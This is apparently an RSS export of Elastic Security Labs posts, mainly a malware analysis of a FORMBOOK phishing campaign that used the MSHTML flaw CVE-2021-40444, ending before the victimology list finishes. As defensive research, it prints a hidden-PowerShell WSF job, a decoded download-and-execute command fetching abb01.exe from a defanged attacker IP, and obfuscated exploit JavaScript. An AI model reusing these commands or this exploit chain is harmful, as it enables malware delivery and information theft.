<p>You can access this YARA rule <a href="https://github.com/elastic/examples/tree/master/blog/climbing-the-pyramid-with-celestial-themed-malware">here</a>.</p>
<h2>Defensive Recommendations</h2>
<p>The following steps can be leveraged to improve a network's protective posture.</p>
<ol>
<li>Review and implement the above detection logic within your environment using technology such as Sysmon and the Elastic Endpoint or Winlogbeat.</li>
<li>Review and ensure that you have deployed the latest Microsoft Security Updates</li>
<li>Maintain backups of your critical systems to aid in quick recovery.</li>
</ol>
<h2>References</h2>
<p>The following research was referenced throughout the document:</p>
<ul>
<li><a href="https://www.binarydefense.com/mars-deimos-solarmarker-jupyter-infostealer-part-1">https://www.binarydefense.com/mars-deimos-solarmarker-jupyter-infostealer-part-1</a></li>
<li><a href="https://redcanary.com/blog/yellow-cockatoo">https://redcanary.com/blog/yellow-cockatoo</a></li>
<li><a href="https://www.crowdstrike.com/blog/solarmarker-backdoor-technical-analysis">https://www.crowdstrike.com/blog/solarmarker-backdoor-technical-analysis</a></li>
<li><a href="https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=VirTool:MSIL/Deimos.A!rfn&amp;ThreatID=2147770772">https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=VirTool:MSIL/Deimos.A!rfn&amp;ThreatID=2147770772</a></li>
<li><a href="http://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html">http://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html</a></li>
<li><a href="https://blog.morphisec.com/jupyter-infostealer-backdoor-introduction">https://blog.morphisec.com/jupyter-infostealer-backdoor-introduction</a></li>
<li><a href="https://blog.morphisec.com/new-jupyter-evasive-delivery-through-msi-installer">https://blog.morphisec.com/new-jupyter-evasive-delivery-through-msi-installer</a></li>
<li><a href="https://squiblydoo.blog/2021/06/20/mars-deimos-from-jupiter-to-mars-and-back-again-part-two">https://squiblydoo.blog/2021/06/20/mars-deimos-from-jupiter-to-mars-and-back-again-part-two</a></li>
<li><a href="https://www.esentire.com/security-advisories/hackers-flood-the-web-with-100-000-malicious-pages-promising-professionals-free-business-forms-but-are-delivering-malware-reports-esentire">https://www.esentire.com/security-advisories/hackers-flood-the-web-with-100-000-malicious-pages-promising-professionals-free-business-forms-but-are-delivering-malware-reports-esentire</a></li>
<li><a href="https://www.bankinfosecurity.com/how-seo-poisoning-used-to-deploy-malware-a-16882">https://www.bankinfosecurity.com/how-seo-poisoning-used-to-deploy-malware-a-16882</a></li>
</ul>
<h2>Indicators</h2>
<table>
<thead>
<tr>
<th>Indicators</th>
<th>Type</th>
<th>Note</th>
</tr>
</thead>
<tbody>
<tr>
<td>f268491d2f7e9ab562a239ec56c4b38d669a7bd88181efb0bd89e450c68dd421</td>
<td>SHA256 hash</td>
<td>Lure file</td>
</tr>
<tr>
<td>af1e952b5b02ca06497e2050bd1ce8d17b9793fdb791473bdae5d994056cb21f</td>
<td>SHA256 hash</td>
<td>Malware installer</td>
</tr>
<tr>
<td>d6e1c6a30356009c62bc2aa24f49674a7f492e5a34403344bfdd248656e20a54</td>
<td>SHA256 hash</td>
<td>.NET DLL file</td>
</tr>
<tr>
<td>216[.]230[.]232[.]134</td>
<td>IP address</td>
<td>Command and control</td>
</tr>
</tbody>
</table>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant/blog-security-radar-720x420.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[FORMBOOK Adopts CAB-less Approach]]></title>
            <link>https://www.elastic.co/pt/security-labs/formbook-adopts-cab-less-approach</link>
            <guid>formbook-adopts-cab-less-approach</guid>
            <pubDate>Tue, 07 Jun 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[Campaign research and analysis of an observed FORMBOOK intrusion attempt.]]></description>
            <content:encoded><![CDATA[<p>The Elastic Intelligence &amp; Analytics team is tracking a new FORMBOOK information-stealing campaign leveraging the MSHTML remote code exploit (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444">CVE-2021-40444</a>). This campaign has been observed sharing infrastructure between the <a href="https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html">Weaponization</a> phases of both the testing and production releases.</p>
<p>We have observed, and will discuss, three phases of this campaign relevant to defenders:</p>
<ul>
<li>Testing phase using CVE-2021-40444</li>
<li>Production phase using CVE-2021-40444</li>
<li>Generic phase without CVE-2021-40444</li>
</ul>
<p>As of November 8, 2021, Elastic observed network infrastructure actively being used to deploy the FORMBOOK information stealer and acting as a command and control endpoint serving archives, implants, and scripts leveraged throughout the campaign variations.</p>
<blockquote>
<p>We wanted to call out some great adjacent research from the team as Sophoslabs Uncut that was released on December 21, 2021. Research groups frequently analyze similar, or in this case, the same campaigns through their lens. This is fantastic as it gets more eyes, from different perspectives, onto the same problem. If you're looking for more information, please check out their research over on their <a href="https://news.sophos.com/en-us/2021/12/21/attackers-test-cab-less-40444-exploit-in-a-dry-run/">blog</a>.</p>
</blockquote>
<h2>Key Takeaways</h2>
<ul>
<li>
<p>The speed at which vulnerability PoC’s are being released highlights the need to leverage threat hunting to identify post-exploitation events before patches can be applied</p>
</li>
<li>
<p>A FORMBOOK campaign was observed combining infrastructure that allowed testing and production phases to be linked together</p>
</li>
<li>
<p>Patching for the MSHTML exploit appears to be effective as the campaign shifted from attempting to use the exploit to a traditional phishing malware-attachment approach</p>
</li>
<li>
<p>The campaign required a multi-process attack chain to load a DLL file onto victim systems</p>
</li>
</ul>
<p>On September 7, 2021, Microsoft confirmed a <a href="https://nvd.nist.gov/vuln/detail/CVE-2021-40444">vulnerability</a> for the browser rendering engine used in several applications such as those within the Microsoft Office suite. Within three days [<a href="https://twitter.com/vxunderground/status/1436326057179860992?s=20">1</a>] [<a href="https://github.com/lockedbyte/CVE-2021-40444">2</a>], proof-of-concept code was released, highlighting the maturity of the exploit development ecosystem and underscoring the importance of proactive threat hunting and patch management strategies.</p>
<p>Based on telemetry, we observed this exploit used in conjunction with the FORMBOOK information stealer. We also identified an adversary tradecraft oversight that led to us connecting what appeared to be campaign testing infrastructure and a FORMBOOK phishing campaign targeting manufacturing victims with global footprints.</p>
<p>This post details the tactics, techniques, and procedures (TTPs) of this campaign. Our goal is to enable detection capabilities for security practitioners using the Elastic Stack and any readers concerned with the CVE-2021-40444 vulnerability or campaigns related to FORMBOOK.</p>
<h2>Details</h2>
<p>When Microsoft disclosed a <a href="https://nvd.nist.gov/vuln/detail/CVE-2021-40444">vulnerability</a> in the browser rendering engine used by multiple Microsoft Office products, proof-of-concept code was released within three days. This allowed defenders to observe how the exploit operated and to develop countermeasures to defend their networks while patches and mitigating workarounds could be deployed [<a href="https://github.com/aslitsecurity/CVE-2021-40444_builders">1</a>], [<a href="https://github.com/lockedbyte/CVE-2021-40444">2</a>], [<a href="https://github.com/klezVirus/CVE-2021-40444">3</a>], [<a href="https://kentosec.com/2021/09/12/cve-2021-40444-poc-demonstration/">4</a>], [<a href="https://github.com/Edubr2020/CVE-2021-40444--CABless">5</a>], [<a href="https://twitter.com/vxunderground/status/1436326057179860992?s=20">6</a>].</p>
<p>Additionally, this highlights the maturity of the exploit development community — underscoring the importance of proactive measures (like network and endpoint monitoring, anti-spam/phishing countermeasures, email MIME-type attachment policies, etc.) and an exercised patch management strategy.</p>
<p>At a high level, an attacker could craft a malicious ActiveX control to be used by a Microsoft Office document that will allow for code to be remotely executed on a victim machine. While this vulnerability is well documented, security researcher</p>
<p>We initiated several collection techniques simultaneously, including searching for malicious attachments that would be included in phishing emails — one of the most common mechanisms for distributing exploit code. We noticed that not many malicious email attachments had been reported, and by October 28, 2021, we were only able to identify four instances of this exploit leveraged with email. In addition to the four instances of the exploit, we observed the threat actor attempting to leverage a generic phishing approach with the FORMBOOK malware as an attachment.</p>
<p>The next following sections will break down these different campaign sightings and their respective details:</p>
<ul>
<li>Testing</li>
<li>Production</li>
<li>Generic</li>
</ul>
<blockquote>
<p>Throughout the Details section, it is important to note a few things that are required for this attack chain to function, irrespective of the Testing or Production phases</p>
<ol>
<li>A major challenge for the campaign is to get a DLL file onto the victim system</li>
<li>ActiveX controls are DLL files with special constraints</li>
<li>Web pages can link ActiveX controls directly or load files that are contained in a URL --- this is not recommended by Microsoft because file signatures cannot be validated</li>
</ol>
</blockquote>
<h3>Testing phase</h3>
<p>The first sighting contained an email with a single attachment with a sender of admin0011[@]issratech.com. While researching that email address, we discovered this email address associated with additional malicious samples in VirusTotal. The email observed in this phase included a single attachment called Request Details.docx.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/formbook-adopts-cab-less-approach/testing-phase-lure-email.jpg" alt="Testing phase lure email" /></p>
<p>Email attachments are stored as Base64 encoded strings in the email. To extract the Request Details.docx email attachment, we can use the echo command to send the Base64 encoded string to STDOUT, pipe it to the base64 program, and save it as email-attachment so that we can analyze it.</p>
<pre><code>$ echo &quot;UEsDBBQAAAAIAFCELVO0gTweZgEAAIgFAAATAAAAW0NvbnRlbnRfVHlwZXNdLnhtbLVUyWrDMBC9F/oPRtdgK+...truncated...&quot; | base64 -D -o email-attachment
</code></pre>
<h4>Request Details.docx</h4>
<p>The file command is a standard Unix and Unix-like program for identifying a file type. Running the file command, verified that this was a Microsoft Word document:</p>
<pre><code>$ file email-attachment
email-attachment: Microsoft Word 2007+
</code></pre>
<p>Microsoft Office documents, post-2007, are compressed archives. To dig into the document without opening it, you can decompress the file using the unzip command as illustrated below.</p>
<pre><code>$ unzip email-attachment
Archive:  email-attachment
    inflating: [Content_Types].xml
    inflating: docProps/app.xml
    inflating: docProps/core.xml
    inflating: word/document.xml
    inflating: word/fontTable.xml
    inflating: word/settings.xml
    inflating: word/styles.xml
    inflating: word/webSettings.xml
    inflating: word/media/image1.jpeg
    inflating: word/media/image2.wmf
    inflating: word/theme/theme1.xml
    inflating: word/_rels/document.xml.rels
    inflating: _rels/.rels
</code></pre>
<p>Within the document relationship file (word/_rels/document.xml.rels), we can view metadata about how different elements of the document are related to each other.</p>
<pre><code>$ cat word/_rels/document.xml.rels
&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot; standalone=&quot;yes&quot;?&gt;
...truncated...
&lt;Relationship Id=&quot;rId6&quot; Type=&quot;http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject&quot;
Target=&quot;MHTML:&amp;#x48;&amp;#x54;&amp;#x54;&amp;#x50;&amp;#x3a;&amp;#x5c;&amp;#x5c;&amp;#x31;&amp;#x30;&amp;#x34;&amp;#x2e;&amp;#x32;&amp;#x34;&amp;#x34;&amp;#x2e;&amp;#x37;&amp;#x38;&amp;#x2e;
    &amp;#x31;&amp;#x37;&amp;#x37;&amp;#x5c;&amp;#x50;&amp;#x6f;&amp;#x70;&amp;#x65;&amp;#x2e;&amp;#x74;&amp;#x78;&amp;#x74;&amp;#x21&quot; TargetMode=&quot;External&quot;/&gt;
...truncated
&lt;/Relationships&gt;
</code></pre>
<p>From here, we can see an externally linked MHTML OLE object inside an element using <a href="https://www.w3schools.com/html/html_entities.asp">HTML entities</a>, which reserve characters in HTML. HTML entities are natively not human readable, so they need to be decoded. Using the data analyzer and decoder from the United Kingdom’s Government Communications Headquarters (GCHQ), <a href="https://gchq.github.io/CyberChef/">CyberChef</a>, we were able to quickly decode the HTML entities with the “From HTML Entity” recipe (CyberChef recipes are pre-configured data parsers and decoders).</p>
<p>The decoded HTML entity was HTTP:\104[.]244[.]78[.]177\Pope.txt. This provided us with another atomic indicator to add to the admin0011[@]issratech.com email address we’d previously collected, 104[.]244[.]78[.]177. Additionally, the decoded HTML entity revealed another file that could be of interest, Pope.txt.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/formbook-adopts-cab-less-approach/decoded-html-entity-from-the-email-attachment.jpg" alt="Decoded HTML entity from the email attachment" /></p>
<h4>Pope.txt</h4>
<p>We retrieved a copy of Pope.txt from 104[.]244[.]78[.]177 and observed that it contained JavaScript code using variable renaming and string obfuscation. This JavaScript performs the following functions:</p>
<ul>
<li>Downloads a Cabinet archive file called comres.cab from the same IP address but fails to extract it</li>
<li>Creates several <a href="https://docs.microsoft.com/en-us/previous-versions/windows/desktop/automat/activex-objects">ActiveX objects</a> (which are executable applications or libraries) to be loaded into the browser rendering engine</li>
<li>Uses the CVE-2021-40444 vulnerability with the ActiveX objects to perform directory traversal and execute a file called IEcache.inf. This filename is the <a href="https://github.com/aslitsecurity/CVE-2021-40444_builders/blob/main/CVE-2021-40444/IEcache.inf">DLL loader</a> from the <a href="https://github.com/aslitsecurity/CVE-2021-40444_builders/blob/main/CVE-2021-40444/IEcache.inf">ASL IT Security PoC code</a> and doesn’t exist in this test run</li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/formbook-adopts-cab-less-approach/obfuscated-javascript-file.jpg" alt="Obfuscated JavaScript file" /></p>
<p>The above figure shows the notable section of the obfuscated JavaScript code. We used a debugger to parse out the results of the lookup functions (shown commented out with //‘s). This revealed the classid (CLSID:edbc374c-5730-432a-b5b8-de94f0b57217) attribute which appears across the web in various other malware analyses of CVE-2021-40444. This suggests with moderate confidence that this JavaScript was crafted using some repurposed code that has been open-sourced. The classid attribute is used to determine if comres.cab has already been downloaded — if it has, it won’t attempt to download it again.</p>
<p>Once comres.cab is downloaded and extracted, the extracted file must be located. This is why there are multiple directory execution attempts observed in JavaScript. All the work up to this point is to get the DLL (IEcache.inf) onto the filesystem. Finally, the DLL file would be executed as a control panel file (.cpl), because control panel files can be loaded as DLLs.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/formbook-adopts-cab-less-approach/elastic-analyzer-showing-attempts-to-execute-iecache.jpg" alt="Elastic Analyzer showing attempts to execute IECache.inf" /></p>
<h4>Comres.cab and 1.doc.inf</h4>
<p>In our sample, comres.cab does not include the ASL IT Security PoC DLL (IEcache.inf). It included a file called 1.doc.inf.</p>
<p>From comres.cab we used the file archive utility, 7-Zip, to extract 1.doc.inf. This file is interesting because it has the .inf (<a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/install/overview-of-inf-files">setup information file</a>) extension, but in using the file command, we can see that it is actually a DLL file, meaning that the file type is being obfuscated.</p>
<pre><code>$ 7z e comres.cab
7-Zip [64] 17.04 : Copyright (c) 1999-2021 Igor Pavlov : 2017-08-28
p7zip Version 17.04 (locale=utf8,Utf16=on,HugeFiles=on,64 bits,16 CPUs x64)
Scanning the drive for archives:
1 file, 6060053 bytes (5919 KiB)
Extracting archive: comres.cab
--
Path = comres.cab
Type = Cab
Physical Size = 6060053
Method = None
Blocks = 1
Volumes = 1
Volume Index = 0
ID = 1234
Everything is Ok
Size:       4465152
Compressed: 6060053

$ file 1.doc.inf
1.doc.inf: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
</code></pre>
<p>When analyzing the <a href="https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#import-address-table">import address table</a> (IAT) of 1.doc.inf, we observed multiple API functions, which would allow the file to download and execute additional files. Of particular note were the ShellExecuteExA and URLDownloadToFileW API functions.</p>
<pre><code>=== IMPORTS ===
MODULE_NAME      HINT   ORD  FUNCTION_NAME
bcrypt.dll          0        BCryptSetProperty
                    0        GetKeyState
ADVAPI32.dll        0        RegDeleteKeyW
SHELL32.dll         0        ShellExecuteExA
urlmon.dll          0        URLDownloadToFileW
WS2_32.dll                9
ole32.dll           0        CoInitializeSecurity
NETAPI32.dll        0        NetLocalGroupAddMembers
OLEAUT32.dll              8
PSAPI.DLL           0        GetModuleFileNameExW
                    0        WTSSendMessageW
                    0        GetProcessWindowStation
                    0        LocalAlloc
                    0        GetModuleFileNameW
                    0        GetProcessAffinityMask
                    0        SetProcessAffinityMask
                    0        SetThreadAffinityMask
                    0        Sleep
                    0        ExitProcess
                    0        FreeLibrary
                    0        LoadLibraryA
                    0        GetModuleHandleA
                    0        GetProcAddress
                    0        GetProcessWindowStation
                    0        GetUserObjectInformationW
</code></pre>
<p>Through further analysis of the DLLs sections list, we identified that the file was protected with <a href="https://vmpsoft.com/">VMProtect</a> (identified by the .vmp0, .vmp1, .vmp2, .vmp3 sections). “VMProtect protects code by executing it on a virtual machine with non-standard architecture that makes it extremely difficult to analyze.”</p>
<pre><code>$ pedump --sections 1.doc.inf | awk '{print $1, $2, $3, $4}'
=== SECTIONS ===
NAME    RVA    VSZ    RAW_SZ
.text   1000   12ecd  0
.rdata  14000  49ce   0
.data   19000  1350d8 0
.vmp1   14f000 2c70   0
.vmp0   152000 fac    0
.bss    153000 1000   0
.vmp2   154000 38c0bb 0
.vmp3   4e1000 5c6720 5c6800
.reloc  aa8000 5b4    600
</code></pre>
<p>As we were unable to analyze the VMProtected file, we continued to explore other information that we’d previously collected. Specifically, we searched for additional samples that had been sent using the same admin0011[@]issratech.com email address. These parallel analyses identified additional samples and campaign phases, which we’re referring to as the Production and Generic phases.</p>
<h3>Production phase</h3>
<p>The second, third, and fourth sightings all had the same sender field of admin0011[@]issratech.com and included a single attachment — Profile.rar file — to deliver the second stage malware.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/formbook-adopts-cab-less-approach/production-phase-lure-email.jpg" alt="Production phase lure email" /></p>
<h4>Profile.rar</h4>
<p>Previously, we’ve highlighted files that have an extension that differs from their actual file type. To validate that the attachment is a RAR archive, we again use the file command to validate that it is a RAR archive.</p>
<pre><code>$ file Profile.rar
Profile.rar: data
</code></pre>
<p>The attachment has a RAR file extension, but instead of having a file type of RAR archive data, v5, it is raw data. Analysts who discover a file containing raw data can use the less command to dump the file contents to STDOUT to directly inspect what may be inside.</p>
<pre><code>$ less Profile.rar
&lt;job&gt;&lt;script language=vbs&gt;Set WshShell = WScript.CreateObject(&quot;WScript.Shell&quot;)
runCmd = &quot;POwErshell -noprofile -noni -W Hidden -enc aQBlAHgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAHMAeQBzAHQAZQBtAC4AbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAGYAaQBsAGUAKAAiAGgAdAB0AHAAOgAvAC8AMQAwADQALgAyADQANAAuADcAOAAuADEANwA3AC8AYQBiAGIAMAAxAC4AZQB4AGUAIgAsACIAJABlAG4AdgA6AEwATwBDAEEATABBAFAAUABEAEEAVABBAFwAZABsAGwAaABvAHMAdABTAHYAYwAuAGUAeABlACIAKQApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAJABlAG4AdgA6AEwATwBDAEEATABBAFAAUABEAEEAVABBAFwAZABsAGwAaABvAHMAdABTAHYAYwAuAGUAeABlACIA&quot;
WshShell.Run &quot;cmd /c &quot; &amp; runCmd, 0, True&lt;/script&gt;&lt;/job&gt; Rar!...truncated...
</code></pre>
<p>The raw data includes a script job element that can be natively interpreted by the Windows Script Host (WSH). The job element directs WSH to spawn a shell that spawns a hidden PowerShell process which then runs a Base64 encoded PowerShell script. However, the script job element needs to be executed, which isn’t done by double-clicking on the file.</p>
<p>Decoding this string, we can see that a file called abb01.exe is downloaded and executed from 104[.]244[.]78[.]177. This is the same IP address we have observed across all Testing and Production phases.</p>
<pre><code>echo &quot;aQBlAHgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAHMAeQBzAHQAZQBtAC4AbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAGYAaQBsAGUAKAAiAGgAdAB0AHAAOgAvAC8AMQAwADQALgAyADQANAAuADcAOAAuADEANwA3AC8AYQBiAGIAMAAxAC4AZQB4AGUAIgAsACIAJABlAG4AdgA6AEwATwBDAEEATABBAFAAUABEAEEAVABBAFwAZABsAGwAaABvAHMAdABTAHYAYwAuAGUAeABlACIAKQApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAJABlAG4AdgA6AEwATwBDAEEATABBAFAAUABEAEEAVABBAFwAZABsAGwAaABvAHMAdABTAHYAYwAuAGUAeABlACIA&quot;\ | base64 -D
iex ((new-object system.net.webclient).downloadfile(“http://104[.]244[.]78[.]177/abb01.exe”,”$env:LOCALAPPDATA\dllhostSvc.exe”));Start-Process “$env:LOCALAPPDATA\dllhostSvc.exe”
</code></pre>
<p>We'll continue to explore this file to identify how the script job is executed. As we displayed above, the file still has the Rar! header, so we can decompress this archive. First, we'll use the unrar program with the e switch to decompress the RAR archive and retrieve the contents: document.docx.</p>
<pre><code>$ unrar e Profile.rar
Extracting from Profile.rar
Extracting  document.docx                                             OK
All OK
</code></pre>
<h4>document.docx</h4>
<p>While Profile.rar appears to be a compressed archive, the PowerShell script won’t download and execute abb01.exe automatically upon decompressing it. To execute that script, the compressed document within Profile.rar, document.docx, must be opened.</p>
<p>Using the same technique as we highlighted in the Testing phase, we decompressed document.docx and examined the document relationship file (word/_rels/document.xml.rels). As previously described, we observed a remote OLE object stored and formatted as an HTML entity code block that we can decode using CyberChef.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/formbook-adopts-cab-less-approach/decoded-document_docx-html-entities.jpg" alt="Decoded document.docx HTML entities" /></p>
<p>We see the same IP address, 104[.]244[.]78[.]177 and a new filename called Profile.html.</p>
<h4>Profile.html</h4>
<p>Based on the HTML code, this initially appeared to be an Apache landing page. However, closer inspection identified another obfuscated JavaScript towards the bottom of the page.</p>
<pre><code>&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;
&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Strict//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&quot;&gt;
&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot; lang=&quot;en&quot; xml:lang=&quot;en&quot;&gt;&lt;head&gt;
&lt;meta content=&quot;text/html; charset=UTF-8&quot; http-equiv=&quot;Content-Type&quot; /&gt;
&lt;!--
        XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
                This file is generated from xml source: DO NOT EDIT
        XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
        --&gt;
&lt;title&gt;Getting Started - Apache HTTP Server Version 2.5&lt;/title&gt;
...truncated…
&lt;script&gt;function a(){var l=['wexcKvyUWOi','ntu3ndaWmeHNC0HOsq','nfPrsujOwG','amohWRqfW5xcNSk/r23cO8kClG','
iSkfW5hcTSk4jmk4xmk2W73dSCkjWOq','ndCXnZeXDLf1tKLj','WRSYCcCZzmkmaW','WQzEqb5xWOldVWXBgSkSWRyp','AhrTBgzPBgu',
'W5tdO1L3WOFdISk8W50','u2nYAxb0','lNDZzJOUlI8UlI8UlI9ezxnRDg9Wl1bYB2zPBguUCMfYpY53C2y','iCkEW592W77cNa',
'WReLW5ddJGiJWRhcRMuYW40LW4v9xSkJWRNcObFdLSkEW5hcMe1kW4JcHL84W7WgWPtcNt4eW4NcP8oZy8kN',
'lNDZzJOUlI8UlI9eB3DUBg9HzhmVuhjVzMLSzs5Yyxi/lNDZzG','ndaWmtu5BvbZqxHH','Bg9JyxrPB24',
'ex3cTSkNW5z+w2RcKGhdLs/dNbBdImoknSk1FwVdQL/cVSkWWRC9WPldO3/dRLv5lt5lW4XFWRVcGWxcNsiX','nZa3mZKWnNP1zffirq',
'bxy1yvlcHujyqSkly2ldHvDrW5vJW7HQW5mZimkKWPJcQJClD0j3WO5SW6KTqmozaWOzACoc','mtKXmZq5mLbREgPOqW','W73dMrjjW53cQaBcVq',
...truncated…
ActiveXObject(j(0x144))[k(0x13c,'k0X5')][j(0x14c)]=k(0x14d,'[Otp'),new ActiveXObject('htmlfile')[j(0x146)]['location']=j(0x14a),new ActiveXObject('htmlfile')[k(0x148,
'MCjf')][k(0x138,'kZYE')]=j(0x147),new ActiveXObject(j(0x144))[j(0x146)][k(0x142,'Lz1J')]=k(0x14f,'BiKg'),new ActiveXObject(k(0x145,'h]@1'))[j(0x146)][j(0x14c)]=k(0x13a,'!v$V'));&lt;/script&gt;
</code></pre>
<p>Deobfuscating the JavaScript using the same debugger as before, we can see several ActiveXObjects. This time, however, there are far fewer and the execution is more prescripted, eliminating useless calls. This shows a refinement from before. This newer code also uses a .wsf extension instead of the previous .cpl. This allows the exploit to use the Windows Scripting Host to execute code. This is the same directory traversal technique we observed in the Testing phase. However, this time the JavaScript is looking for the Profile.rar file (whereas in the Testing phase, it was looking for IECache.inf) and attempting to execute the PowerShell script, which was prepended in Profile.rar as a Windows Script File (.wsf).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/formbook-adopts-cab-less-approach/deobfuscated-javascript-showing-directory-search-for-the-original-rar-file.jpg" alt="Deobfuscated JavaScript showing directory search for the original RAR file" /></p>
<h4>Dropper</h4>
<p>As we illustrated above, Profile.rar has a prepended Base64 encoded PowerShell command which downloads abb01.exe. The JavaScript from Profile.html attempts to execute this PowerShell code within Profile.rar as a Windows Script File.</p>
<p>abb01.exe is a dropper that when dynamically executed, drops another PE file, yxojzzvhi0.exe in our example.</p>
<h4>FORMBOOK Binary</h4>
<p>yxojzzvhi0.exe was scanned with Elastic YARA rules and identified to be a variant of <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook">FORMBOOK</a>, based on unique byte sequences.</p>
<p>FORMBOOK, also known as XLOADER, is an information stealer that includes keyloggers, clipboard copiers, and form grabber components to collect and exfiltrate sensitive information. This malware has been <a href="https://www.fortinet.com/blog/threat-research/deep-analysis-new-formbook-variant-delivered-phishing-campaign-part-I">offered as-a-service</a> for over five years and remains a successful tool for stealing information.</p>
<h3>Generic phase</h3>
<p>On October 28 and November 8, 2021, we observed additional sightings but used a generic phishing attachment tactic to load FORMBOOK. Additionally, we were able to collect some information from the email header that we’ll discuss in the Campaign Analysis section.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/formbook-adopts-cab-less-approach/generic-phase-lure-email.jpg" alt="Generic phase lure email" /></p>
<p>These sightings all have two RAR attachments. One of the attachments has a .rar file extension and the other has either a .gz or .7z extension. We’ll explore one of the sightings below.</p>
<pre><code>$ file D2110-095.gz DWG.rar
D2110-095.gz: RAR archive data, v5
DWG.rar:      RAR archive data, v5
</code></pre>
<p>The RAR files contained two PE files. They were identical instances of a very <a href="https://www.virustotal.com/gui/file/4216ff4fa7533209a6e50c6f05c5216b8afb456e6a3ab6b65ed9fcbdbd275096/detection">common FORMBOOK variant</a>.</p>
<pre><code>$ omnihash DWG.exe D2110-095.exe
Hashing file DWG.exe
    MD5:    ff882802d113ed02fa070c496f89d797
    SHA1:   aad1eed1c53f1d33ab52e13442b036bfeee91f1b
    SHA256: 4216ff4fa7533209a6e50c6f05c5216b8afb456e6a3ab6b65ed9fcbdbd275096
Hashing file D2110-095.exe
    MD5:    ff882802d113ed02fa070c496f89d797
    SHA1:   aad1eed1c53f1d33ab52e13442b036bfeee91f1b
    SHA256: 4216ff4fa7533209a6e50c6f05c5216b8afb456e6a3ab6b65ed9fcbdbd275096
</code></pre>
<h2>Campaign analysis</h2>
<p>While researching this FORMBOOK campaign, we observed infrastructure reuse and tooling similarities during testing and operational phases, which we believe represent a single campaign.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/formbook-adopts-cab-less-approach/artifact-associations.jpg" alt="Campaign artifact associations" /></p>
<h3>Email header</h3>
<p>Throughout all sightings, the campaign used similar sending email addresses:</p>
<ul>
<li>admin0011[@]issratech.com</li>
<li>admin010[@]backsjoy.com</li>
<li>admin012[@]leoeni.com</li>
</ul>
<p>Additionally, across the Production and Generic phases of the campaign, we observed the X-Mailer element (the software identifier set by the sending email client) as RainLoop/1.16.0. RainLoop is an open-source email client. It should be noted that in our collection, one sighting had some header information sanitized before being uploaded to VirusTotal. RainLoop could have been referenced in this sighting, but we were not able to confirm that.</p>
<h3>File hashes</h3>
<p>Across the Production phase, we were able to identify code sharing through the use of the same attachment (Profile.rar).</p>
<h3>IP addresses</h3>
<p>Across the Testing and Production phases, we observed that 104[.]244[.]78[.]177 was used for all elements of the campaigns. This IP address was used to host archives, implants, and scripts.</p>
<h3>Resource development</h3>
<p>As research progressed, we observed activities we believed were capability testing. This activity was observed one time and used artifacts (<a href="https://github.com/aslitsecurity/CVE-2021-40444_builders/blob/main/CVE-2021-40444/IEcache.inf">IEcache.inf</a>, <a href="https://raw.githubusercontent.com/aslitsecurity/CVE-2021-40444_builders/main/CVE-2021-40444/source/doc/word/_rels/document.xml.rels">document.xml.rels</a>) from a public CVE-2021-40444 exploit proof-of-concept <a href="https://github.com/aslitsecurity/CVE-2021-40444_builders">repository</a>. Other phases included custom exploit code that differed from the PoC code but shared <a href="https://attack.mitre.org/techniques/T1566/001">initial access</a> and <a href="https://attack.mitre.org/techniques/T1203">execution</a> TTPs as well as the same network infrastructure.</p>
<p>We observed that the issratech[.]com, backsjoy[.]com, and leoeni[.]com domains own TLS certificates provided by Let’s Encrypt. While the steps of creating a TLS certificate are not overly cumbersome, the fact that the domain owner went through the preparatory process of creating a certificate could indicate that these domains are intended to be used for future encrypted operations.</p>
<p>In the Generic phase, the campaign abandoned the MSHTML exploit and attempted to leverage a traditional phishing malware-attachment approach. This shift in tactics is possibly because successful exploit patching rendered the vulnerability ineffective.</p>
<h3>Victimology</h3>
<p>We observed that of the four companies targeted by this campaign, all were in the manufacturing vertical. Threat actors utilizing FORMBOOK have been observed targeting the manufacturing vertical <a href="https://threatpost.com/formbook-malware-targets-us-defense-contractors-aerospace-and-manufacturing-sectors/128334/">in the past</a>. The companies all had international footprints in:</p>
<ul>
<li>Industrial Materials, Aluminum extrusion, HQ in Germany (Testing phase)</li>
